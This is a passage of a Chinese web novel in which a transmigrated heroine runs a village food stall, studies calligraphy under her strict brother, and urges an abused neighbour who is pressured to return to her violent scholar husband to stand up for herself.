他们的包子表皮都很光滑，个头也大，闻着虽有一点酸味，但并不会让人难以接受，李姝一口咬下，意料之中口里全是皮，包子皮其实口感并不好，过于蓬松了，吃起来轻飘飘地没有一点面的劲道感，馅料只有中间一小团。
只咬了一口，李姝便把馅料拨开了，最后只将皮吃掉，她本就不喜羊肉的膻味，这时代的人都以食羊肉为主，街上大大小小的吃食店铺和吃食摊子，羊肉占了一半，她还以为至少这里的人能将羊肉处理得更好一些，谁知这羊肉膻味还是没去除。
李姝有些失望，只一瞬，又反应过来，这里做得不好吃，那日后自己的生意不就少了一个强有力的竞争对手吗？馅料自己可能没有他们多，但至少包子皮她能做好。
想到这，她也放心了，至少说明她往后做生意的路子还算是通畅。
图纸被拿走了，林掌柜也没法跟李姝讨论细节，李姝上门时他刚打好墨线，只好扯了个谎说如今还未处理好木头，让李姝若是有空的话，后日可过来看看细节，届时有意见可以一块商量。
李姝倒是无所谓，反正她每日都需到县里买猪肉，于是便也没怀疑什么，爽快地应下便离开了。
回去正好快到工人的休息时间，如今这路已经快修到桃李村了，张翠花出门的时间便比最初晚了些，此时她还没到工地，李姝便随意找了个树荫下休息。
而卖其他吃食的妇人们倒是已经在等了，生意虽不好，可有时运气好也能有个几文钱的进账，她们已经不像一开始那般做了满篮子的吃食出来，拿得少，若是卖不完也能一家人吃完，不用担心浪费。
此时李姝一个人坐在树荫下四处望着，她在找小飞，不知这小团子今日有没有来。突然李姝感觉身旁有人盯着自己，她转头，只见一个四十上下的方脸妇人正朝自己挪了过来。
38. 第 38 章
许是看李姝一个小姑娘，长得乖巧一看就好说话，她有些自来熟地和李姝打了招呼，“姝丫头，今日你们不卖饼子了吗？”边说还边在李姝身旁坐下，一副要长谈的姿态。
李姝善意地笑了笑，虽说看自家大人不在便过来示好的行为有些刻意，但她也并不想用恶意揣度别人。
“我娘等会儿就来。”
听到这话，妇人也没表现出意外，毕竟谁家一日上百文钱进账也不会蠢到断了这生意，这路可就修四个月呢，修完可就没人了，自然得日日抓住机会。
看李姝笑得温柔善意，她把篮子随意地放在地上，趁机凑近了一些，脸上带着一眼就能看出来的关心，“看你们日日做这许多饼子，应该很辛苦吧？莫不是卯时就开始揉面了？”
李姝垂眸，眼中闪过一丝了然，还是高估了人性，还以为这婶子只是单纯找她聊天，谁知还是奔着她的生意，她顿时有些意兴阑珊，敛了敛笑容，敷衍道：“说不定。”
妇人被这话噎得没了声，眼前的小姑娘方才还笑意盈盈，此时虽还是笑着，可眼中却不时闪过冷意，周身的气势像是换了一个人一般，她从未见过变脸这般快的人，一时间竟有些不敢接话。
她有些讪讪地握了握篮子，双手尴尬地上下摩挲着，因着她确实是奔着打听李家吃食做法来的，被这么一冷，她顿时有种被看穿的羞意，也亏得她脸皮不够厚，第一次做生意，还是保留着邻里友好的观念，被人泼个冷水，便打住不敢造次了。
最终她还是没再问下去，只说了句工人们快休息了，便自个找了个新的地方，不再往李姝身边凑。
李姝抿了抿唇，上扬地嘴角角度标准，客气又疏离地和她道了别，表面功夫该做还是要做，免得往后积了怨。
正在练着字，却闻到了一阵花香，须臾，头上忽然有东西罩了上来，李姝转头，见小团子正努力伸手往自己头上举着，李姝伸手一拿，是一个小巧的花环。
一把将小团子揽在怀里，李姝捏了捏他软嘟嘟的小脸，笑着问：“这是给我的？”
小团子点头，湿漉漉的眼睛里带着羞意，不一会又挣扎着要起身，拿着花环直往李姝头上戴，嘴里言简意赅地嘟囔：“姐姐，戴。”
李姝低头，任他把尺寸并不合适的花环放在头顶，半晌，他终于发现这花环套不上，又把花环拿了下来，小手开始一点一点的拆。
李姝没打断，只在一旁看着，这花环不知道是用的什么野花，闻着有一股香甜的味道，藤枝有点粗，也不知他是怎么弄断的，又缠了多久。
缠的时候怕是也没想到还要拆，小团子拆得有些艰难，小手用力拔，连牙齿都在出力，李姝还是打断了，“小飞，今日你还要教姐姐写字呢，要不等一下再拆？”
小团子皱着眉，终于还是放下了，嘟着嘴有些失落，李姝顺势将花环拿在手上，一边听他背，一边快速地把藤枝拆开。
此时张翠花也到了工地，看女儿和小飞在练字，又顺手将拆开的藤枝缠上，戴在了小飞头上。
李姝...
娘，你是来捣乱的吧？
如今的吃食生意算是走上了正轨，每日的销量也定了下来，李姝不打算再改数量，只想着时不时换一下素馅饼的馅料，她知道很多馅料可以做，甚至馅饼也可以做肉的，可是如今只有她们娘俩在动手，馅料多了反而麻烦，只能等以后了。
隔了一日，李姝又去了一趟林记木工坊，林掌柜拿了张十分详细的细化图给李姝看，这图比最初她囫囵画了几条粗线的图好太多了，线条画得十分清晰明了，车子的每个细节都有相应的做法和尺寸。
甚至还考虑到了往后她想用牲畜拉车，于是特意将木撑做成可拆卸的，前面的拉手也预留了拉绳的卡位，方便日后套驴马等牲畜。
林掌柜还问李姝有没有哪里需要改，李姝赶忙摇头，这是一份十分有诚意的深化图，也充分考虑到了她的需求，已经超出她的预期太多，她高兴都来不及，哪里还有什么意见。
其实还有些李姝没看出来的，比如车轮的辐条、轮轴等都比寻常马车要好，这种专业的细节李姝不知道，可林掌柜却是十分懂，只是这是老张细化的，他也不好拿出来炫耀，只是笑眯眯地说他做的这车子定能让李姝物有所值。
隔壁的张寒铮已经没空再去偶遇佳人了，画个图让他浪费了一天时间，导致他接的活计工期变得十分赶，他也没请长工，只有自己一个人在干活，“帮帮帮”的声音持续不断地响着，李姝出来时，还是忍不住往隔壁看了看。
屋内炉火嗡嗡嗡的烧得十分旺，赤红的火光照得屋里很是亮堂，铺子内各个地方都摆放着许多铁器或是铁块，桌上，地上，墙上，显得十分凌乱。
张寒铮正站在这凌乱的屋里举着铁锤在打铁，此时他面容有些冷峻，薄唇紧抿，每一次下捶的力道都震得他手臂的肌肉在抖，可他脸上的神色一直未变，竟像是有些气定神闲，在这凌乱的铁匠铺显得格格不入。
李姝看了一会便强令自己回神，那豆大的汗珠划过他线条分明的下颌，火光下映得他认真又性感，惹得李姝在心里直吹口哨，如此赏心悦目，她怕自己再看下去要不理智了。
李姝忍痛转身离开，她倒是看得舒服了，可没注意到身后的“帮帮”声逐渐弱了下来，一双深邃漆黑的眸子正神色复杂地看着她的背影，张寒铮深深吐了一口气，缓缓放松了肩膀，须臾脸颊泛起一丝异于火光的红色，让他冷峻的脸上透出了些许的不自然。
这女子，怎地看得如此直白。
他不懂，音乐节上大喊让自己偶像脱掉的人中，就有李姝一个，如今这才哪到哪，她不过就是正经欣赏了帅哥几秒钟便转身离开，已经十分收敛了。
只是她忘了，这里并不是她从前熟悉的世界，她这大咧咧地模样若是让她哥看到了，怕是要越过他爹请家法了。
不过，现在这情形，也差不多到了要请家法的时候了。
画面一转，李家书房里，李姝站在书桌前等着“夫子”，有些战战兢兢。
今日又是李挺询假之日，他习惯性的买了个小玩意给自家妹妹，直到吃晚饭都还是兄友妹恭的状态，而晚饭后他第一件事便是检查妹妹的大字。
李姝本来还信心满满，可他哥看到第一张时就差点要打她掌心，这字写得比初习字的孩童还差，他以为是妹妹压根没有好好练，
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就随便写了字来糊弄他。
幸好李姝眼疾手快，把最后一张抽出来举到他哥面前自证清白，虽还是写得不好，但线条流畅了许多，可看出她确实认真写了，甚至还在模仿他哥的字迹，这才让岌岌可危的兄妹情修复了些许。
李挺一张一张地在批写得不合格的字，手速快得比老师批选择题还快，看得李姝心惊胆战，密密麻麻的圈布满了大半的纸，这些不会都是要重写...的吧？
“这些都重写。”李挺将一沓纸重新递回给李姝，颇有些干净利落地...嫌弃，仿佛多看一秒便是对他的不尊重。
李姝乖巧接过，没敢提意见，反而颇有些心大地想：练字而已嘛，练什么不是练？
这回李挺倒没让她囫囵地自己瞎练，而是正正经经写了例字，一点一点告诉李姝笔画要怎么走，线条要怎么写，他算是看出来了，妹妹连笔画都还写不好，再让她瞎写一百遍都无用。
这倒是让李姝开心了不少，她认认真真练了一晚上，一练便是两个时辰，让李挺真正的刮目相看，没想到妹妹确有了读书的毅力。
因此到最后李姝缠着他问百家姓千字文的生字时，他也没呵斥她心浮气躁，很是欣慰地教了她许久，心想妹妹这好学的模样，下回他在恩师面前可不用底气不足了。
只是妹妹并没有问三字经，他有些奇怪地问道：“三字经里的生字你都认得了？”
李姝点头，没好意思说自己是问一个五岁的小团子知道的，只含糊地说：“我问了别人。”
李挺闻言，脱口而出：“你不会是问爹的吧？”话语中丝毫不顾自己亲爹的面子。
看李姝茫然摇头，他才松了口气，丝毫不觉得自己这口气松的有何不对。
李姝...爹，看来你这学渣形象是改不了了，哥哥甚至都不问我请教的谁，他竟觉得只要不是你便是靠谱...的吗？
练完了字，李挺问了一嘴算盘学得怎么样，李姝老老实实地又按着一遍加减法口诀拨了一遍，明显可以看出不熟练。
她确实学得不怎么认真，虽说她把整本书都看了，也大致知道怎么算，只是口诀记不住，拨得十分慢。
先前几十年的习惯让她一时间改不了，她脑中总是要先心算出结果，再去拨算盘得出一模一样的答案，甚至没有办法反过来，每次计算都要多此一举地去拨算盘，让她逐渐没了热情。
天色太晚，看在她练了一晚上字的份上，李挺也没再苛责她，想着明日再细细教一遍便把李姝放回了卧室。
夜已深，此时村尾只有李姝一家还亮着灯，可在村中间的里长家里，却还有一间房在闪着微弱的光芒。
李清芸好不容易将女儿哄睡，正准备去个茅房便睡觉，可经过后院西侧的院墙时，却听到了墙外传来窸窸窣窣地声音。
此时夜风带了些凉意，她忍不住裹了裹身上的薄袄，大着胆子侧耳听了一会，像是没了声音，她以为听错了，便转身往茅房走去。
却在转身之际，看到了映照在地上的院墙上有一个黑影正悄悄爬了上来，一瞬间，李清芸瞳孔睁大，巨大的恐惧笼罩全身，她颤抖地发出尖锐的声音。
“啊！”
39. 第 39 章
尖锐的声音吵醒了里长一家，里长李顺贵最先跑到后院，见自家女儿瘫坐在地上，赶忙上前，呼哧呼哧的声音透着关心，“小芸，怎地了？”
方才的叫声已经耗尽了李清芸的所有力气，她此时浑身瘫软，唯有惊恐的眼神还在用力，靠在自家爹怀中连话都说不出，只眼神示意那院墙的一角。
李顺贵顺着她的视线，只模糊看到了一个黑影在墙角趴着，正好此时清宏也跑了过来，他大喝一声：“我儿，抓贼！”
李清宏顺手便抓过了院门边的扫帚，李顺贵也拿了一根木柴，听到喊声，那黑影像是动了动，两人见状，皆大喝一声，双双举起手中武器。
正要拍下，那黑影终于出声，声音比清芸还惊恐：“岳父大人，是我，是我，我是张元仕！”
武器停在半空，黑影终于颤颤巍巍地爬了出来，月光下，张元仕沾着泥土的脸映入了众人眼中...
已是子时，村子里除了里长李顺贵家已经没有亮灯的人家，此时一家人都聚在堂屋，李顺贵坐在上首，平日里好脾气的脸上泛着铁青，里长夫人抱着被吓得出魂的女儿一个劲的安慰，清宏清乐两兄弟愤愤地盯着跪在堂屋的张元仕，要不是婆娘拉着，早就上前揍人了。
张元仕呜呜咽咽地缩着，他本不愿把清芸接回家，自己一个秀才往后是要考状元当官的，娶了这么一个生不出儿子的婆娘，让他很是没面子，他早就想休妻，可奈何一直没找到原由。
上回大考没考好，被书院的同窗当着面戳到肺管子，他心里憋闷，回家又看见自家这黄毛丫头，气不打一处来，便对着婆娘动了手，哪知这岳父大人早不来晚不来，第二日招呼不打一声便跑来看外孙女，最后竟闹得村里人人皆知。
想到这他眼里不由泛起一阵埋怨之情，要不是这一家子把事闹大，也不至于让他连书院都回不了，院长已放出话，他哪一天接回婆娘便哪一天才能回去上课。
没办法，他只能主动过来请，可他三翻四次地低声讨好这一家子，却愣是没有进过门，连清芸的面都没见到，就那婆娘的性子，自己稍微大声点就会什么都听自己的，若是能让他当面和婆娘说话，定是能把人接回家。
于是，他只能想了这么一个主意，只要他能见到李清芸，还怕她不同意吗，怕是当晚就能一起回去，只是没想到，他这么倒霉，刚翻上墙便被发现了。
此时他只能跪在地上低着头，哆哆嗦嗦地狡辩：“岳父大人，我错了，我不该这般偷偷摸摸地过来，我就是太想她们娘俩了。”
李顺贵侧着头，仿佛连看一眼地上的人都觉得碍眼，声音难得地冷：“哼，前几日还在嚷嚷着要休妻，如今又说是太想她们，不愧是读书人，说谎话都不打草稿！”
张元仕有些后悔前些日子过于冲动，如今这老匹夫揪着这事不放，他知道自己要付出些代价才行，于是他给了自己一巴掌，“都是我的错，那日我脑子糊涂了，说了好些混账话。”
他一边说一边观察，发现李顺贵并无所动，所幸狠下心来，啪啪啪连着往脸上一顿打，“都是我的错，是我混账，岳父大人还有兄长你们想要怎么出气都行，打我骂我都好，我都受着，只恳求岳父大人让我和清芸还有小丫说说话。”
一声一声的巴掌声在寂静的夜中显得十分吵闹，隔壁的李大头被惊动，在院墙边喊了喊：“里长，发生什么事了吗？”
张元仕立马停了手，暗暗地咧了咧嘴，李顺贵也没说什么，只回了句：“没事，起夜时碰到野猫了，这畜生翻墙被我打了几下。”
李大头这才放心回屋。
而被内涵的畜生不敢吭声，见李顺贵没说话，又作势挤了挤眼泪开始往脸上呼巴掌，只是这时却被制止了。
李顺贵沉着脸盯着他道：“行了，别在这作态了。”
张元仕闻言讪讪地放下了手，脸上还流着“悔恨”的泪水，他故意看向清芸，眼里是恰到好处的无措和悔意，不得不说他若是真的演起来，也确实颇有种既老实又规矩的模样，连里长夫人对他的情绪都有些放松了。
李顺贵看在眼里，他不说是眼光毒辣，也至少是个男人，他自然懂眼前这暂时悔恨的女婿可能并不是真心想接清芸回家，只是迫于压力罢了。
可是清芸不可能一辈子待在娘家，而张家定是不愿出和离书的，如今这张元仕害怕他害怕清宏，所以短时间内肯定不敢再欺负清芸，他们张家大张旗鼓上门了几回，在外人看来也显示出了礼数，若是清芸一直不回，怕是最后有理也要先没理三分了。
李顺贵心下叹了口气，面上还是冷然开口道：“当初清芸上门，我们两家三书六礼一样没少，她是你们明媒正娶的媳妇，如今你竟让她受了这些苦，若你还想她回去，过两日便正经拿了东西上门，并在门外高喊三声接清芸回家的话，若是你连这个都做不到，那往后就别想再见到她们娘俩了。”
张元仕顿时一阵暗喜，正要回话，却被打断。
软话说了，接下来便是警告，李顺贵接着厉色道：“若是往后你还敢做出那日的事，届时即使你不愿写和离书，我们家也不介意闹上公堂让知县定夺，
你要知道，圣上广纳贤才，如今平山县秀才一年比一年多，而你若是敢再做出殴打婆娘之事，便证明了你是一个品行不端之人，届时你的秀才之名还能不能保住可就说不定了，你可记下了？”
直到此时，张元仕眼中才真正有了恐惧，只因李顺贵说到了他真正的命门，功名于他来说是命根子，无论谁都没有他考功名重要，他赶忙点头，一边磕头一边答：“小婿记下了，我再也不敢了，谢岳父大人。”
这场半夜的闹剧终于结束，李顺贵没把张元仕留下，他大晚上翻墙进来，本是打算偷摸在婆娘房里歇息一夜，这样明日他们李家即使有气也不敢多撒，只是如今张元仕可不敢再提出留下，只装作依依不舍地模样看了清芸，灰溜溜走了。
憋了一晚上的清宏终于出了声：“爹，你为何还同意让妹妹回去？”那张元仕嘴上虽这么说，可谁知他会不会人前一套背后一套，往后妹妹若是又受他欺负可怎么办，家里人又不是时时在她身边。
李顺贵背手准备往后院走，听儿子这么说，他自己也憋了一肚子火没处撒，于是拿着儿子撒气道：“
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你懂个屁！那和离书是那么好拿的？往后若是掰扯不好，你让你妹妹还怎么在张家村生活，这些你可有想过？整日只知道和离，你若是真的心疼你妹妹，便时不时的上门去看看她，别一天到晚没事就窝在房里不出门！”
李清宏不出声了，他确实没想这么多，只觉得自家妹妹不能这么受委屈，他从小就疼爱这乖巧柔弱的妹妹，恨不得让她不要嫁人的好。
如今听了他爹的话，他也明白了其中关节，默不作声地看了看自家正在抹泪的妹妹，心下叹了口气，转身回了房，算是接受了他爹的决定。
一旁清宏的婆娘心下也有了些不满，公爹这是在怪自己缠着他家儿子？她心里也有气，若不是婆母一直在明里暗里说她没本事怀孩子，她又何必做这只知道缠着男人的狐媚子？
可她毕竟还是害怕自家公爹，面上没有表现出来，只暗暗咬了咬牙，低着头跟着自家男人回了房，也不想再管小姑子的破事了。
清乐年纪小，他不懂什么和离，可他爹和他哥都妥协了，他也没有更好的办法，只能被迫接受。
而清芸和她娘，两人是一个比一个没主意，都是听一家之主的，更是想不出别的法子，只能默认了这个决定。
这一晚上的闹剧除了当事人没人知道，也不是什么光彩的事，连一向喜欢扯闲篇的清宏婆娘都没敢说，桃李村的众人只知道两日后，张元仕终于进了里长的家门。
而李姝这边，哥哥回来了，便理所当然地成了她的摆摊搭子，娘辛苦了好些日子，该让她好好休息了。
依旧是烈日当空，阳光勤劳地洒向四处，争取让陆地上的一切生物都热得大汗淋漓，李姝兄妹俩找了个阴凉地休息，李姝习惯地开始在地上练字。
刚起了个头，小飞蹿了出来，奶声奶气地声音响起：“姐姐，今日要背完三字经，不能偷懒，还要写...”
完了！
李姝赶忙一把捞过小团子，试图用怀抱把他的嘴堵住，祖宗，你可别说了！
小团子不懂，以为是在玩游戏，于是学着书院里夫子爷爷的神态，再紧的怀抱也没能挡住他的声音：“上课之时，不可玩闹，否则...”
李姝赶忙打断，颠倒黑白地出声：“小飞啊，今日姐姐给你带了夫子，姐姐就不教你了，让这位新的夫子教你千字文可好？”
果然，小团子的注意力被分散了，因着是生人，他躲在李姝的怀中没出来，只顶着圆溜溜的眼睛在夹缝中看向一旁的李挺。
可李挺又不是小朋友，他可不好糊弄，于是带着笑意又给小团子的注意力拉了回来：“你叫小飞？这几日李姝姐姐教了你什么？”
小飞脱口而出：“是我教李姝姐姐，我是她的夫子！我还有束脩呢！”
李挺...
他这妹妹真是出息了！
李姝...
这小团子之前跟她说话都是几个字几个字蹦的，现在一连串说出来都不带停，她捂都捂不及...
李姝抬眸，对着她哥笑得十分乖巧，哥，我如果说是看在这小团子是一个天才的份上，我才跟他请教的，你信吗？
40. 第 40 章
小团子满脸骄傲，李姝一脸心虚，而李挺，他拿起了一根树枝...
李姝：！！！
在她哥抬手之前，李姝眼疾手快把小团子扶在身前，自己则整个人缩在了小团子身后，颇有些心虚地把头搭在小团子肩膀上，瓮声道：“哥，你还收学生吗？我给你找了个小神童。”
李挺把手里的树枝折为两半，转头见自家妹妹丝毫不顾形象地双膝岔开蹲在地上，自个还半点不自知，没有一点女子的端庄模样。
他顿时头疼，妹妹性子虽变得更好了，可新的毛病却越发多，他有些无奈地沉声道：“坐好！像什么样子！你何时学得这般粗野之态？”教训的语气稍微严厉，但声音刻意压低了，生怕周边的工人听到。
小飞被这一嗓子吓到了，他缩着身体慢慢倒回了李姝的怀中，脸上有些将哭未哭的害怕。
李姝揽着小飞安抚，茫然地低头看着自己这稍显豪放的亚洲蹲，有些后知后觉地发现，自己好像又不自觉地展露了本身的习惯，她讪讪地并了并膝盖，也不敢再嬉皮笑脸，没办法，他哥的威严确实比爹娘要大。
知道她已经意识到自己的问题，李挺也做不到真的对自家妹妹发火，于是他声音顿时软了下来，“下回不可再犯，可记下了？”
李姝点头，也没说话，只是低着头不语。
直到李挺伸手递了一根木枝给她，她才抬头，顺手接过，眼里终于透出了一丝符合年龄的懵懂与茫然。
李挺有些尴尬地清了清嗓，刻意转移话题道：“不是说要教千字文吗？”
不是，哥，你捡跟树枝都要挺直背脊，端着一副要揍人的严肃气势，她还以为她哥看到自家妹妹连孩童都比不过，于是准备暴走了呢！合着就单纯捡根树枝啊？
心里的怨念体现在了脸上，替换了方才的沉默与懵懂，李姝盯着他哥有些敢怒不敢言，只以怨念为剑齐刷刷砸向他，盯得正低头写字的李挺莫名其妙，“做什么呢？认真看。”
妹妹吊儿郎当，可这叫小飞的孩童倒是认真的在看自己写字，李挺有些恨铁不成钢，也不去管妹妹了，只对着小飞问：“可知这是什么字？”
小飞抬头，小鹿般的眼睛还透着些害怕，他身子悄悄靠着李姝，像是终于有了依靠一般，此时他才敢答话：“玄。”
李挺点头，正要再问，李姝却插了话，“哥，小飞能背整篇三字经，还能写。”话语里的骄傲仿佛这说的是她自己。
李挺瞥了她一眼，也没说话，只自顾又写了几个字，李姝没理她哥的嫌弃，有些兴奋地再次开口：“他这么小就能背完，应可以说是小神童了吧？”
她哥头都没抬，平静的声音便泼了她一身冷水，“我五岁便已学完三百千。”话语里没有炫耀，只有冷冰冰的事实。
呵呵，呵呵，是吗？
李姝拿起了木枝，没再说话，因为她发现，后面小飞答出来的字，她好像...有些字不太认识。
世界果然有参差。
这个道理李挺也发现了，于是晚上回去又给自家妹妹讲了一晚上的珠算，他用实际行动告诉李姝，人不能没一头又没一头...
两日后，村子里多了一桩茶余饭后的谈资，那便是来来回回走了许多趟的张元仕，终于拎着礼进了里长家大门。
张翠花因着如今日日摆摊，村子里的消息便打听得慢了许多，她都不知那张元仕竟来过桃李村想接清芸，还是李挺询假那日她去找桂香方才知道。
如今张元仕能进去，说明里长一家已经默认要把清芸送回张家村了，李姝伸着耳朵听她娘在说那张元仕上门时的情景，心里有些不是滋味。
“娘，我明日去看看清芸姐吧？”
她想去看看，那一直未见的小时玩伴，是否真的愿意回去。
张翠花点头，“确应去看看，明日咱们多做些饼子，你拿些上门。”
上门探望，理应准备写补品，可他们家哪有这些东西，饼子已经是家中能拿出的最体面的东西了。
李姝点头应声，“好。”
李姝没见过清芸，可踏进门的时候，她便认出来了。
白皙，清秀，温柔，以及一脸苦相，她只是坐在那，便能让人一眼瞧出柔弱的性子，确实如娘所说，清芸很是乖巧，只是如今乖巧的她，眼中却是麻木与茫然。
“小姝？”清宏婆娘是最先发现李姝的，她有些无聊的坐在一边择菜，小姑子自从知道明日自己便要回张家村后就一直有些魂不守舍，拿着小丫的一件短袄缝缝补补，一下午扎了自己好几下。
她劝也劝不动，又不好出去外面跟人扯闲篇，婆母回来要是看到自己不尽心看着小姑子，又得给自己脸色看，于是她只能无所事事地择菜，小丫则一个人在院子里玩，李姝的出现终于解救了她。
李姝应了声，“嫂子好。”
“哎，你是来找清芸的吧？快进来。”脸上的笑容是掩都掩不住，李姝也不知道从前和她熟不熟，于是也没对她这过于热情的态度产生怀疑，只把手中提着的馅饼放在了桌子上。
“嫂子，这是我娘让我带过来的饼子，近日我们在外面卖，许多人都说好吃，只是这不是什么贵重的东西，您别嫌弃。”
清宏婆娘一把接过了篮子，眼中满是兴奋，“说什么呢？怎地会嫌弃？”
李姝一家在外卖吃食的事早就传遍了，她听别人说得早就嘴馋，于是迫不及待地掀开了粗布，拿了一个饼子出来便开始吃。
清芸无心看她嫂子，见自己的闺中密友进来，憋了满脸地苦要诉，赶忙拉着李姝进她房间，想到自己女儿还在院子里，便又对她嫂子道：“嫂子，小丫你帮我看一下，她在院子里。”
当事人塞了满嘴的吃食，有些口齿不清地应了一声，“好。”
像是终于见到可以倾诉的人，清芸显得有些激动，“小姝，我可怎么办啊？”
李姝看着自己被亲密挽起的手，一时间不知该怎么开口。
而清芸也没等到她开口的机会，又接着开始倾诉，“我爹说让我回去，可我有些害怕，那男人喝了酒就不认人，我怕他又嫌弃我生了个女儿，借着酒拿我撒气。”
她说话时脸上是止不住地惶然，湿润的双眼没有聚焦，可却满是不安与害怕，随后不知想到了什么，连肩膀都开始有些颤抖，柔弱无助，像是风雨中一朵娇弱的白花。
可花易折，应娇护，如怜爱疼惜自会暗香萦绕，可若风摧雨残，便只有凋零了。
爹娘都说从前的李姝像清芸，从前的她若是遇到了这样的事，也会是这般模样吗？
李姝伸手拭去她脸上的泪水，没有安慰，没有怒火，也没有流泪，只轻声问她：“清芸姐，你自己想回去吗？”
颤抖的肩顿时压了下去，清芸眼里茫然又无措，“我，我不知道，娘说让我少靠近他，特别是他喝酒的时候，要躲得远远的。”
顿了顿，湿润的双眼有些闪烁，她支吾着说：“还说，要，要想办法怀上孩子，怀上孩子便有了底气，他就，就不敢打我了。”
这炸裂的话让李姝一时竟不知道该从哪里发火，眼前的娇花本就摇摇欲坠，可她的家人却让她扑棱得更加厉害，这是怕她掉不下来吗？
“那你呢？”李姝有些强硬地问她，“清芸姐，你方才说的都是你爹娘的想法，那你自己呢？”
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>“我？我，我不是应听爹娘的话吗？”她从来没想过，她自己能有不同的想法，可从小不都是爹娘帮她打算的吗？她听话就好了。
看她这样子，李姝知道一时是改不了的，只是她还是给她埋下了一颗种子，问她：“若是往后你生的还是女儿呢？若是他往后连小丫都打呢？你怎么办？”
这话像是触到了她的开关，让本就没有主心骨的人瞬间瘫软，她有些崩溃地痛哭出声，泪水把她眼中仅剩的一点支撑也带走了，“小姝，我该怎么办？小丫是我的命，我不能让她跟我一样受苦。”
幸好她还算有底线，李姝扶起她，抱着她的肩膀拍着安慰，“清芸姐，你不能用怀孩子来期望他改正，下回他要是再敢动手，你便大喊大叫地发疯，把村子里的人都给引到你家，最好闹到那张元仕的同族长辈都知晓，
你多闹几回，一定要把他无缘无故打你的事说出来，他往后还要科举，定是爱惜面子的，惹得这么多人知晓，他便会有所收敛。”
这样的话从来没有人教过她，她小时都被教育要听话，要孝顺，要端庄，没有人告诉她遇到困难也可以撒泼，可以拉下脸面在众人面前哭诉，“这，这不是泼妇吗？”
“可你若是不这样，那他定会变本加厉。”见这话没有效果，李姝想了想外面的小丫头，继续下猛药，“小丫如今这么小，你若是有天被打到起不来床，她一个小丫头在那个本就不欢迎她的家里该怎么活，你可想过？”
确如她所说，女儿是她的命，只要说到小丫，她的反应便会大很多，见她不再反驳，只是能不能真的听进去李姝也不知道。
况且她没说，一个本就性子恶劣的人，经过这三翻四次的闭门羹，心里怕是早就积了怨，恐怕坚持不了多久便又会将气撒到别人身上。
可李姝知道，她即使说了也改变不了结果，只能教她在遇到时应怎么处理才能减少伤害，若是不让她再经历一次，她怕是下定不了决心。
“清芸姐，小丫在村子里可有玩得好的玩伴？”
清芸情绪终于稍微稳定了下来，眨眼疑惑道：“你小舅舅家的小花和她玩得好一些。”
“那你若是在家干活没有空看着小丫时，便让她出去玩吧，让她少在张元仕面前走动。”其实这法子并不周全，可她也没别的办法，只是心里还留着一点虎毒不食子的天真，想着那张元仕再怎么嫌弃女儿，也不至于真的能动手打自己的孩子。
“好。”
清芸看着眼前的李姝，后知后觉地发现，小姝和从前不一样了，“小姝，你怎地和从前不一样了？”
这个问题李姝早就想过，毕竟是闺蜜，又从小一起长大，她定是很了解从前的李姝，可清芸不是爹娘，她不用费心去编理由，“我上个月撞到头了，从那之后便不记得从前的人和事，清芸姐，我从前是怎么样的？”
“从前...”清芸看着眼前双眼清亮的人，明明样子没变，可又让人觉得哪哪都一样了，从前的小姝总是抿着嘴笑，眼睛虽也是清澈的，可不会这般明亮，她从前说话总是轻声轻气，也不会有这么多主意，如今的她聪慧明媚，整个人仿佛都笼罩着一层光，让人忍不住想被温暖。
“从前如何不重要，小姝，你如今很好，往后定会越来越好。”她笑得真心实意，小姝长大了，也变得不像从前，她往后定不会像自己一样，被磋磨得形容枯槁，再也没了年少时的心气。
明明自己已是一脚踏在泥潭中不可自拔，可却还是为了别人的好而真心祝福，李姝，如果是你，你应是想要将她拉出泥潭的吧？
那，我便代你帮她走出来，白花虽易折，可也有让她独自傲立风雨的支撑。
41. 第 41 章
清芸还是回去了，带着爹娘给她买的补品、布匹和吃食。
张元仕叫了马车过来接她，全程小心围在她身边，给她夹菜，帮她拿东西，还抱着小丫不撒手。
老实，谦逊，温和，就像从前刚见到他时一般。
这幅样子至少在里长一家看来，他确实是真心想接她们母女回去，可不知为何，清芸却觉得越发恐慌。
她见过眼前的男人老实规矩的时候，见过他怒目狰狞的面孔，也见过他跪在地上痛哭悔恨的神态，
她看不清这个男人的真实模样，究竟哪一个才是真正的他呢？她往后真的能像娘说的那样好好过日子吗？
她不知道，往后的日子怎么样，谁能说得准呢？
既然爹和娘都希望她回去，那就回去吧，从小他们就疼爱她，他们定是为她好的。
里长一家的事就这么告一段落，这段时间村子里多多少少都在茶余饭后关注过此事，可这也不过就是他们漫长岁月中小之又小的一个八卦。
即使是张翠花这些和里长交好的人家，也不过就是替清芸骂骂那畜生，谁又会真的跑去和清芸说你和离吧，往后我们家定能给你找个好夫家，还能保住你的名声。
真正能让她走出来的，只有她自己。
“那张元仕也在平山书院，日后和儿子说说，让他多盯着。”张翠花一边裁油纸一边对着李忠道。
“不用说挺儿也是知道的，这事已经闹到书院了，听说书院院长还让张元仕休了课，直到他把婆娘接回来才能回去上课。”
连书院都知道了？李姝有些疑惑，书院还会关心学生的家庭吗？
“爹，院长怎地会知道这事啊？”
李忠擦着头发的手停下了，眼里透着些意味不明的笑，“挺儿说这事就是他和张家村的张鹏说话时院长路过听到的。”
这话一出，惹来两道好奇的视线，“儿子/我哥什么时候说的？”
相似的眉眼此时都瞪大了瞧着他，李忠一时有些想笑，这娘俩哦。
“上次挺儿询假和我一道走时说的。”
这么巧？刚好就被院长听到了？
李姝又瞧了瞧他爹，看着他爹那心照不宣的笑，她顿时懂了，原来他哥这么腹黑吗？
“那敢情好，我们张家村几十年都没出过一个殴打婆娘出气的窝囊男人，
这书院就应该给他些惩罚，让他好好长长记性，把我们张家村的名声都带坏了。”
张翠花一脸愤愤，对这位她看走眼的张元仕厌恶极了。
父女俩没接茬，书院能出面怕也是恰好听到了李挺的话，
若是没有人告到院长面前，恐怕也不会真的为了别人的家事而惩罚学生。
总算发泄了怒火，张翠花气也顺了些，看到桌边悠哉喝茶的李忠，又怒了，“李忠，你那头发擦干了吗？”
眼看又要有新一轮的战火，李姝赶紧起身躲进灶屋，“我去看看肉炖好了没。”
身后，堂屋中，隐隐传来她娘新一轮的絮絮叨叨。
今日李姝做的是红烧肉，之前好几次想做，可是香料实在太贵，况且之前也炖了猪蹄解馋，便忍住了馋虫，
上回哥哥回家，正好被她捉去进货，买了一石面，还买了许多调料，想着反正也花了这么多钱，便又顺手买了些香料。
李挺本想自己付钱，可被李姝拦住了，她以要算账为由拒绝了他哥的补贴，她想知道，四个月后究竟能有多少钱。
红烧肉的做法和上回的猪蹄有些相似，只是没加黄豆，而是加了好几个鸡蛋，上桌后浓郁的酱香味瞬间引来了一家三口的觊觎，三人默契地伸了筷子。
